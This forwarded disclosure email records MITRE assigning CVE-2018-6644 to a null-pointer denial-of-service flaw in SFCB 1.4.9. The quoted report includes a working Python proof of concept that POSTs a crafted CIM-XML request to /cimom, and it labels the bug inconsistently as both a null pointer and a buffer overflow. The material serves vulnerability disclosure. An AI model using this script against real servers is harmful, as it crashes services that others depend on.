Fw:Re: [scr459004] sfcb - 1.4.9

[XinleiHe <hxl1999 () yeah net>]

-------- Forwarding messages --------
From: cve-request () mitre org
Date: 2018-02-06 04:11:55
To:  hxl1999 () yeah net
Cc:  cve-request () mitre org
Subject: Re: [scr459004] sfcb - 1.4.9
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

The CVE ID is below. Please inform the software maintainer that the
CVE ID has been assigned.


> [Suggested description]
> SBLIM Small Footprint CIM Broker (SFCB) 1.4.9 has a
> null pointer (DoS) vulnerability via
> a crafted POST request to the /cimom URI.
>
> ------------------------------------------
>
> [Additional Information]
> You can use following python code to reproduce this vulnerability.
>
> import httplib
> from xml.dom.minidom import Document
> class write_xml(Document):
>     def __init__(self):
>
>         Document.__init__(self)
>  
>     def set_tag(self,tag):
>         self.tag = tag
>         self.cim = self.createElement(self.tag)
>         #self.setAttribute("encoding", "utf-8")
>         
>         self.cim.setAttribute("CIMVERSION", "2.0")
>         self.cim.setAttribute("DTDVERSION", "2.0")
>         self.appendChild(self.cim)
>
>         self.msg = self.createElement("MESSAGE")
>         self.msg.setAttribute("ID", "4711")
>         self.msg.setAttribute("PROTOCOLVERSION","1.0")
>         self.cim.appendChild(self.msg)
>
>         self.sim = self.createElement("SIMPLEREQ")
>         self.msg.appendChild(self.sim)
>
>         self.ime = self.createElement("IMETHODCALL")
>         self.ime.setAttribute("NAME","EnumerateInstances")
>         self.sim.appendChild(self.ime)
>
>         self.local = self.createElement("LOCALNAMESPACEPATH")
>         self.ime.appendChild(self.local)
>           
>         self.names1=self.createElement("NAMESPACE")
>         self.names1.setAttribute("NAME", "root")
>         self.local.appendChild(self.names1)
>
>     def display(self):
>         print self.toprettyxml(indent="   ")
>     def retdata(self):
>         return self.toprettyxml(indent="   ")
>
> def httpreq(data):
>  conn = httplib.HTTPConnection("127.0.0.1", 5988, False)
>  conn.request('POST', '/cimom',data)
>  res = conn.getresponse() 
>
> def main(): 
>  wx = write_xml()
>  wx.set_tag('CIM')
>  print wx.retdata()
>  print httpreq(wx.retdata())
>
> if __name__=='__main__':
>  main()
>
> ------------------------------------------
>
> [Vulnerability Type]
> Buffer Overflow
>
> ------------------------------------------
>
> [Vendor of Product]
> SBLIM project
>
> ------------------------------------------
>
> [Affected Product Code Base]
> sfcb - 1.4.9
>
> ------------------------------------------
>
> [Impact Denial of Service]
> true

Use CVE-2018-6644.


- -- 
CVE Assignment Team
M/S M300, 202 Burlington Road, Bedford, MA 01730 USA
[ A PGP key is available for encrypted communications at
  http://cve.mitre.org/cve/request_id.html ]
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCAAGBQJaeLorAAoJEHb/MwWLVhi2xdoP/2OaKyQzIatRABkB35IlzYpR
vkjtDA8uXjMIcnuJr/sYa/zVFjIBRFQ2nLRkJs2d5Ni1uNsZ3hGm5A7Tn3RFsEby
tL6CvtY8h0MBf4xf6ZVdkzwshJyb05qaOB7UfUL5Fskzoxvs2QpcbGKGtbtaKbPU
YZq4t6aIyZW9UMEwheeCBDzGqC/oLVRUxgztgAy8SIhIlVfwtYEmHvafs11cN2XV
EjVvIbaOeRlOfelJvlSKCOjHj0vjOesouiGlMLm3nqYXm5en/T66tuCpaajn4zzO
I/Wj0Fm8tm2w0pkdfcNBewLu7+4bjRsiJ8U0SVPFQaOENvK7C3q6NyrfCgs1qesR
fr4LS9TfOcuuIjxn9w3T0Hr4nOAJnSwTiwmnuKoQblA/Pn/r8CquyKh/Rh/ST6P7
YxLUt9ZzXKf2SlWV1q+68N9RvefoXQFgQdAP2eUG0Y2i8ACZmxCPVLMclwUHvYIG
KFlei2bIp4IADt3zRdndQBzEK1NwFhNwIKSnE7ybRQqFx6yTgoEiOP0CpYZLmRqi
g94pvunSBKqPcCNhW/C78orO0Tz7UegnkaBMNYgIgW/jCFEiFGSBgi4VIjW8WWrr
M+BM/UGehRBbGjmRqphsOBHdc1H9VKUAWJ0Y4hzQAd5Y6QCcTWb0uMlbNMjINshR
4TNbCFPf5EWJy7Bw8Gic
=q5wy
-----END PGP SIGNATURE-----